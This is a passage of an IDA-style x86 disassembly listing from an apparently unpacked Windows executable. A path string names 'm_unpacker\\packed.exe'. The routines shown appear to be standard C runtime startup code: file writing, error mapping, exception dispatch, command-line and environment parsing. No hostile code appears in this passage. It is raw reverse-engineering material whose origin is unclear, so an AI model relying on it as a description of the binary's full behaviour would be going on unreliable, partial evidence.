		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41EB68
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_41EB68:				; CODE XREF: sub_41EAC2+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41EB49

loc_41EB7D:				; CODE XREF: sub_41EAC2+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_42307C	; WriteFile
		test	eax, eax
		jz	short loc_41EBE7
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41EBB9
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41EB43

loc_41EBB9:				; CODE XREF: sub_41EAC2+EAj
					; sub_41EAC2+12Ej
		xor	edi, edi

loc_41EBBB:				; CODE XREF: sub_41EAC2+150j
					; sub_41EAC2+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41EC51
		cmp	[ebp+arg_0], edi
		jz	short loc_41EC2A
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41EC1F
		mov	dword_4894AC, 9
		mov	dword_4894B0, eax
		jmp	loc_41EC67
; ---------------------------------------------------------------------------

loc_41EBE7:				; CODE XREF: sub_41EAC2+E0j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41EBB9
; ---------------------------------------------------------------------------

loc_41EBF2:				; CODE XREF: sub_41EAC2+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_42307C	; WriteFile
		test	eax, eax
		jz	short loc_41EC14
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41EBBB
; ---------------------------------------------------------------------------

loc_41EC14:				; CODE XREF: sub_41EAC2+145j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41EBBB
; ---------------------------------------------------------------------------

loc_41EC1F:				; CODE XREF: sub_41EAC2+10Fj
		push	[ebp+arg_0]
		call	sub_41EC6F
		pop	ecx
		jmp	short loc_41EC67
; ---------------------------------------------------------------------------

loc_41EC2A:				; CODE XREF: sub_41EAC2+7Bj
					; sub_41EAC2+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41EC3F
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41EB0C

loc_41EC3F:				; CODE XREF: sub_41EAC2+16Fj
		mov	dword_4894AC, 1Ch
		mov	dword_4894B0, edi
		jmp	short loc_41EC67
; ---------------------------------------------------------------------------

loc_41EC51:				; CODE XREF: sub_41EAC2+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41EC6A
; ---------------------------------------------------------------------------

loc_41EC56:				; CODE XREF: sub_41EAC2+15j
					; sub_41EAC2+37j
		and	dword_4894B0, 0
		mov	dword_4894AC, 9

loc_41EC67:				; CODE XREF: sub_41EAC2+120j
					; sub_41EAC2+166j ...
		or	eax, 0FFFFFFFFh

loc_41EC6A:				; CODE XREF: sub_41EAC2+4Cj
					; sub_41EAC2+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EAC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC6F	proc near		; CODE XREF: sub_4194F9+16p
					; sub_4198BA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4894B0, ecx
		mov	eax, offset dword_43AF10

loc_41EC80:				; CODE XREF: sub_41EC6F+1Ej
		cmp	ecx, [eax]
		jz	short loc_41ECA4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43B078
		jl	short loc_41EC80
		cmp	ecx, 13h
		jb	short loc_41ECB1
		cmp	ecx, 24h
		ja	short loc_41ECB1
		mov	dword_4894AC, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_41ECA4:				; CODE XREF: sub_41EC6F+13j
		mov	eax, dword_43AF14[edx*8]
		mov	dword_4894AC, eax
		retn
; ---------------------------------------------------------------------------

loc_41ECB1:				; CODE XREF: sub_41EC6F+23j
					; sub_41EC6F+28j
		cmp	ecx, 0BCh
		jb	short loc_41ECCB
		cmp	ecx, 0CAh
		mov	dword_4894AC, 8
		jbe	short locret_41ECD5

loc_41ECCB:				; CODE XREF: sub_41EC6F+48j
		mov	dword_4894AC, 16h

locret_41ECD5:				; CODE XREF: sub_41EC6F+5Aj
		retn
sub_41EC6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ECD6	proc near		; CODE XREF: sub_4198E4+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41EE17
		test	eax, eax
		pop	ecx
		jz	loc_41EE0B
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41EE0B
		cmp	ebx, 5
		jnz	short loc_41ED07
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41EE14
; ---------------------------------------------------------------------------

loc_41ED07:				; CODE XREF: sub_41ECD6+23j
		cmp	ebx, 1
		jz	loc_41EE06
		mov	ecx, dword_489560
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_489560, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41EDF6
		mov	ecx, dword_43B0F0
		mov	edx, dword_43B0F4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41ED56
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43B080h[esi*4]

loc_41ED4D:				; CODE XREF: sub_41ECD6+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41ED4D

loc_41ED56:				; CODE XREF: sub_41ECD6+69j
		mov	eax, [eax]
		mov	esi, dword_43B0FC
		cmp	eax, 0C000008Eh
		jnz	short loc_41ED71
		mov	dword_43B0FC, 83h
		jmp	short loc_41EDE1
; ---------------------------------------------------------------------------

loc_41ED71:				; CODE XREF: sub_41ECD6+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41ED84
		mov	dword_43B0FC, 81h
		jmp	short loc_41EDE1
; ---------------------------------------------------------------------------

loc_41ED84:				; CODE XREF: sub_41ECD6+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41ED97
		mov	dword_43B0FC, 84h
		jmp	short loc_41EDE1
; ---------------------------------------------------------------------------

loc_41ED97:				; CODE XREF: sub_41ECD6+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41EDAA
		mov	dword_43B0FC, 85h
		jmp	short loc_41EDE1
; ---------------------------------------------------------------------------

loc_41EDAA:				; CODE XREF: sub_41ECD6+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41EDBD
		mov	dword_43B0FC, 82h
		jmp	short loc_41EDE1
; ---------------------------------------------------------------------------

loc_41EDBD:				; CODE XREF: sub_41ECD6+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41EDD0
		mov	dword_43B0FC, 86h
		jmp	short loc_41EDE1
; ---------------------------------------------------------------------------

loc_41EDD0:				; CODE XREF: sub_41ECD6+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41EDE1
		mov	dword_43B0FC, 8Ah

loc_41EDE1:				; CODE XREF: sub_41ECD6+99j
					; sub_41ECD6+ACj ...
		push	dword_43B0FC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43B0FC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41EDFE
; ---------------------------------------------------------------------------

loc_41EDF6:				; CODE XREF: sub_41ECD6+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_41EDFE:				; CODE XREF: sub_41ECD6+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_489560, eax

loc_41EE06:				; CODE XREF: sub_41ECD6+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41EE14
; ---------------------------------------------------------------------------

loc_41EE0B:				; CODE XREF: sub_41ECD6+Fj
					; sub_41ECD6+1Aj
		push	[ebp+arg_4]
		call	dword_42304C	; UnhandledExceptionFilter

loc_41EE14:				; CODE XREF: sub_41ECD6+2Cj
					; sub_41ECD6+133j
		pop	ebx
		pop	ebp
		retn
sub_41ECD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE17	proc near		; CODE XREF: sub_41ECD6+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43B0F8
		cmp	dword_43B078, edx
		push	esi
		mov	eax, offset dword_43B078
		jz	short loc_41EE44
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43B078h[esi*4]

loc_41EE39:				; CODE XREF: sub_41EE17+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41EE44
		cmp	[eax], edx
		jnz	short loc_41EE39

loc_41EE44:				; CODE XREF: sub_41EE17+16j
					; sub_41EE17+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43B078h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41EE57
		cmp	[eax], edx
		jz	short locret_41EE59

loc_41EE57:				; CODE XREF: sub_41EE17+3Aj
		xor	eax, eax

locret_41EE59:				; CODE XREF: sub_41EE17+3Ej
		retn
sub_41EE17	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE5A	proc near		; CODE XREF: sub_4198E4+A5p
		cmp	dword_48AB34, 0
		jnz	short loc_41EE68
		call	sub_41EA1C

loc_41EE68:				; CODE XREF: sub_41EE5A+7j
		push	esi
		mov	esi, dword_48AB2C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41EE9A

loc_41EE75:				; CODE XREF: sub_41EE5A+33j
					; sub_41EE5A+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41EE92
		test	al, al
		jz	short loc_41EE92
		movzx	eax, al
		push	eax
		call	sub_420D4D
		test	eax, eax
		pop	ecx
		jz	short loc_41EE75
		inc	esi
		jmp	short loc_41EE75
; ---------------------------------------------------------------------------

loc_41EE92:				; CODE XREF: sub_41EE5A+21j
					; sub_41EE5A+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41EEA4

loc_41EE97:				; CODE XREF: sub_41EE5A+52j
		inc	esi
		jmp	short loc_41EEA4
; ---------------------------------------------------------------------------

loc_41EE9A:				; CODE XREF: sub_41EE5A+19j
		cmp	al, 20h
		jbe	short loc_41EEA4

loc_41EE9E:				; CODE XREF: sub_41EE5A+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41EE9E

loc_41EEA4:				; CODE XREF: sub_41EE5A+3Bj
					; sub_41EE5A+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41EEAE
		cmp	al, 20h
		jbe	short loc_41EE97

loc_41EEAE:				; CODE XREF: sub_41EE5A+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41EE5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EEB2	proc near		; CODE XREF: sub_4198E4+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_48AB34, ebx
		push	esi
		push	edi
		jnz	short loc_41EEC4
		call	sub_41EA1C

loc_41EEC4:				; CODE XREF: sub_41EEB2+Bj
		mov	esi, dword_4894F8
		xor	edi, edi

loc_41EECC:				; CODE XREF: sub_41EEB2+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41EEE4
		cmp	al, 3Dh
		jz	short loc_41EED7
		inc	edi

loc_41EED7:				; CODE XREF: sub_41EEB2+22j
		push	esi
		call	sub_4177B0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41EECC
; ---------------------------------------------------------------------------

loc_41EEE4:				; CODE XREF: sub_41EEB2+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417889
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4894D4, esi
		jnz	short loc_41EF06
		push	9
		call	sub_4199DA
		pop	ecx

loc_41EF06:				; CODE XREF: sub_41EEB2+4Aj
		mov	edi, dword_4894F8
		cmp	[edi], bl
		jz	short loc_41EF49
		push	ebp

loc_41EF11:				; CODE XREF: sub_41EEB2+94j
		push	edi
		call	sub_4177B0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41EF42
		push	ebp
		call	sub_417889
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41EF35
		push	9
		call	sub_4199DA
		pop	ecx

loc_41EF35:				; CODE XREF: sub_41EEB2+79j
		push	edi
		push	dword ptr [esi]
		call	sub_4176C0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_41EF42:				; CODE XREF: sub_41EEB2+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41EF11
		pop	ebp

loc_41EF49:				; CODE XREF: sub_41EEB2+5Cj
		push	dword_4894F8
		call	sub_41793B
		pop	ecx
		mov	dword_4894F8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_48AB30, 1
		pop	ebx
		retn
sub_41EEB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF6B	proc near		; CODE XREF: sub_4198E4+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_48AB34, ebx
		push	esi
		push	edi
		jnz	short loc_41EF82
		call	sub_41EA1C

loc_41EF82:				; CODE XREF: sub_41EF6B+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_423094	; GetModuleFileNameA
		mov	eax, dword_48AB2C
		mov	off_4894E4, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41EFA7
		mov	edi, eax

loc_41EFA7:				; CODE XREF: sub_41EF6B+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41F004
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417889
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41EFD7
		push	8
		call	sub_4199DA
		pop	ecx

loc_41EFD7:				; CODE XREF: sub_41EF6B+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41F004
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4894CC, esi
		pop	edi
		pop	esi
		mov	dword_4894C8, eax
		pop	ebx
		leave
		retn
sub_41EF6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F004	proc near		; CODE XREF: sub_41EF6B+47p
					; sub_41EF6B+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41F02E
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F02E:				; CODE XREF: sub_41F004+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F077

loc_41F033:				; CODE XREF: sub_41F004+58j
					; sub_41F004+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41F065
		test	dl, dl
		jz	short loc_41F065
		movzx	edx, dl
		test	byte_48AA01[edx], 4
		jz	short loc_41F058
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F058
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_41F058:				; CODE XREF: sub_41F004+46j
					; sub_41F004+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F033
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F033
; ---------------------------------------------------------------------------

loc_41F065:				; CODE XREF: sub_41F004+36j
					; sub_41F004+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F06F
		and	byte ptr [esi],	0
		inc	esi

loc_41F06F:				; CODE XREF: sub_41F004+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F0BA
		inc	eax
		jmp	short loc_41F0BA
; ---------------------------------------------------------------------------

loc_41F077:				; CODE XREF: sub_41F004+2Dj
					; sub_41F004+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F082
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_41F082:				; CODE XREF: sub_41F004+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_48AA01[ebx], 4
		jz	short loc_41F09D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F09C
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_41F09C:				; CODE XREF: sub_41F004+91j
		inc	eax

loc_41F09D:				; CODE XREF: sub_41F004+8Bj
		cmp	dl, 20h
		jz	short loc_41F0AB
		test	dl, dl
		jz	short loc_41F0AF
		cmp	dl, 9
		jnz	short loc_41F077

loc_41F0AB:				; CODE XREF: sub_41F004+9Cj
		test	dl, dl
		jnz	short loc_41F0B2

loc_41F0AF:				; CODE XREF: sub_41F004+A0j
		dec	eax
		jmp	short loc_41F0BA
; ---------------------------------------------------------------------------

loc_41F0B2:				; CODE XREF: sub_41F004+A9j
		test	esi, esi
		jz	short loc_41F0BA
		and	byte ptr [esi-1], 0

loc_41F0BA:				; CODE XREF: sub_41F004+6Ej
					; sub_41F004+71j ...
		and	[ebp+arg_10], 0

loc_41F0BE:				; CODE XREF: sub_41F004+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41F1A7

loc_41F0C7:				; CODE XREF: sub_41F004+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41F0D3
		cmp	dl, 9
		jnz	short loc_41F0D6

loc_41F0D3:				; CODE XREF: sub_41F004+C8j
		inc	eax
		jmp	short loc_41F0C7
; ---------------------------------------------------------------------------

loc_41F0D6:				; CODE XREF: sub_41F004+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41F1A7
		test	edi, edi
		jz	short loc_41F0EB
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F0EB:				; CODE XREF: sub_41F004+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_41F0F0:				; CODE XREF: sub_41F004+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_41F0F9:				; CODE XREF: sub_41F004+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41F102
		inc	eax
		inc	ebx
		jmp	short loc_41F0F9
; ---------------------------------------------------------------------------

loc_41F102:				; CODE XREF: sub_41F004+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F133
		test	bl, 1
		jnz	short loc_41F131
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41F120
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41F120
		mov	eax, edx
		jmp	short loc_41F123
; ---------------------------------------------------------------------------

loc_41F120:				; CODE XREF: sub_41F004+10Dj
					; sub_41F004+116j
		mov	[ebp+arg_0], edi

loc_41F123:				; CODE XREF: sub_41F004+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_41F131:				; CODE XREF: sub_41F004+106j
		shr	ebx, 1

loc_41F133:				; CODE XREF: sub_41F004+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41F148
		inc	ebx

loc_41F13B:				; CODE XREF: sub_41F004+142j
		test	esi, esi
		jz	short loc_41F143
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_41F143:				; CODE XREF: sub_41F004+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41F13B

loc_41F148:				; CODE XREF: sub_41F004+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41F198
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F15E
		cmp	dl, 20h
		jz	short loc_41F198
		cmp	dl, 9
		jz	short loc_41F198

loc_41F15E:				; CODE XREF: sub_41F004+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41F192
		test	esi, esi
		jz	short loc_41F181
		movzx	ebx, dl
		test	byte_48AA01[ebx], 4
		jz	short loc_41F17A
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_41F17A:				; CODE XREF: sub_41F004+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F190
; ---------------------------------------------------------------------------

loc_41F181:				; CODE XREF: sub_41F004+162j
		movzx	edx, dl
		test	byte_48AA01[edx], 4
		jz	short loc_41F190
		inc	eax
		inc	dword ptr [ecx]

loc_41F190:				; CODE XREF: sub_41F004+17Bj
					; sub_41F004+187j
		inc	dword ptr [ecx]

loc_41F192:				; CODE XREF: sub_41F004+15Ej
		inc	eax
		jmp	loc_41F0F0
; ---------------------------------------------------------------------------

loc_41F198:				; CODE XREF: sub_41F004+148j
					; sub_41F004+153j ...
		test	esi, esi
		jz	short loc_41F1A0
		and	byte ptr [esi],	0
		inc	esi

loc_41F1A0:				; CODE XREF: sub_41F004+196j
		inc	dword ptr [ecx]
		jmp	loc_41F0BE
; ---------------------------------------------------------------------------

loc_41F1A7:				; CODE XREF: sub_41F004+BDj
					; sub_41F004+D5j
		test	edi, edi
		jz	short loc_41F1AE
		and	dword ptr [edi], 0

loc_41F1AE:				; CODE XREF: sub_41F004+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41F004	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F1B8	proc near		; CODE XREF: sub_4198E4+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_489668
		push	ebx
		push	ebp
		mov	ebp, dword_42303C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41F206
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41F1E7
		mov	dword_489668, 1
		jmp	short loc_41F20F
; ---------------------------------------------------------------------------

loc_41F1E7:				; CODE XREF: sub_41F1B8+21j
		call	dword_423040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41F2E1
		mov	dword_489668, 2
		jmp	loc_41F295
; ---------------------------------------------------------------------------

loc_41F206:				; CODE XREF: sub_41F1B8+19j
		cmp	eax, 1
		jnz	loc_41F290

loc_41F20F:				; CODE XREF: sub_41F1B8+2Dj
		cmp	esi, ebx
		jnz	short loc_41F21F
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41F2E1

loc_41F21F:				; CODE XREF: sub_41F1B8+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41F234

loc_41F226:				; CODE XREF: sub_41F1B8+73j
					; sub_41F1B8+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F226
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F226

loc_41F234:				; CODE XREF: sub_41F1B8+6Cj
		sub	eax, esi
		mov	edi, dword_423150
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41F285
		push	ebp
		call	sub_417889
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41F285
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41F281
		push	[esp+18h+var_8]
		call	sub_41793B
		pop	ecx
		mov	[esp+18h+var_8], ebx

loc_41F281:				; CODE XREF: sub_41F1B8+B9j
		mov	ebx, [esp+18h+var_8]

loc_41F285:				; CODE XREF: sub_41F1B8+99j
					; sub_41F1B8+A8j
		push	esi
		call	dword_423044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41F2E3
; ---------------------------------------------------------------------------

loc_41F290:				; CODE XREF: sub_41F1B8+51j
		cmp	eax, 2
		jnz	short loc_41F2E1

loc_41F295:				; CODE XREF: sub_41F1B8+49j
		cmp	edi, ebx
		jnz	short loc_41F2A5
		call	dword_423040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F2E1

loc_41F2A5:				; CODE XREF: sub_41F1B8+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41F2B5

loc_41F2AB:				; CODE XREF: sub_41F1B8+F6j
					; sub_41F1B8+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F2AB
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F2AB

loc_41F2B5:				; CODE XREF: sub_41F1B8+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417889
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41F2CB
		xor	esi, esi
		jmp	short loc_41F2D6
; ---------------------------------------------------------------------------

loc_41F2CB:				; CODE XREF: sub_41F1B8+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_417090
		add	esp, 0Ch

loc_41F2D6:				; CODE XREF: sub_41F1B8+111j
		push	edi
		call	dword_423048	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41F2E3
; ---------------------------------------------------------------------------

loc_41F2E1:				; CODE XREF: sub_41F1B8+39j
					; sub_41F1B8+61j ...
		xor	eax, eax

loc_41F2E3:				; CODE XREF: sub_41F1B8+D6j
					; sub_41F1B8+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41F1B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F2EA	proc near		; CODE XREF: sub_4198E4+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417889
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41F30A
		push	1Bh
		call	sub_4199DA
		pop	ecx

loc_41F30A:				; CODE XREF: sub_41F2EA+16j
		mov	dword_48A7E0, esi
		mov	dword_48A8E0, 20h
		lea	eax, [esi+100h]

loc_41F320:				; CODE XREF: sub_41F2EA+52j
		cmp	esi, eax
		jnb	short loc_41F33E
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_48A7E0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41F320
; ---------------------------------------------------------------------------

loc_41F33E:				; CODE XREF: sub_41F2EA+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_423198	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41F41A
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41F41A
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41F374
		mov	esi, eax

loc_41F374:				; CODE XREF: sub_41F2EA+86j
		cmp	dword_48A8E0, esi
		jge	short loc_41F3CE
		mov	edi, offset dword_48A7E4

loc_41F381:				; CODE XREF: sub_41F2EA+DAj
		push	100h
		call	sub_417889
		test	eax, eax
		pop	ecx
		jz	short loc_41F3C8
		add	dword_48A8E0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_41F39F:				; CODE XREF: sub_41F2EA+CFj
		cmp	eax, ecx
		jnb	short loc_41F3BB
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41F39F
; ---------------------------------------------------------------------------

loc_41F3BB:				; CODE XREF: sub_41F2EA+B7j
		add	edi, 4
		cmp	dword_48A8E0, esi
		jl	short loc_41F381
		jmp	short loc_41F3CE
; ---------------------------------------------------------------------------

loc_41F3C8:				; CODE XREF: sub_41F2EA+A4j
		mov	esi, dword_48A8E0

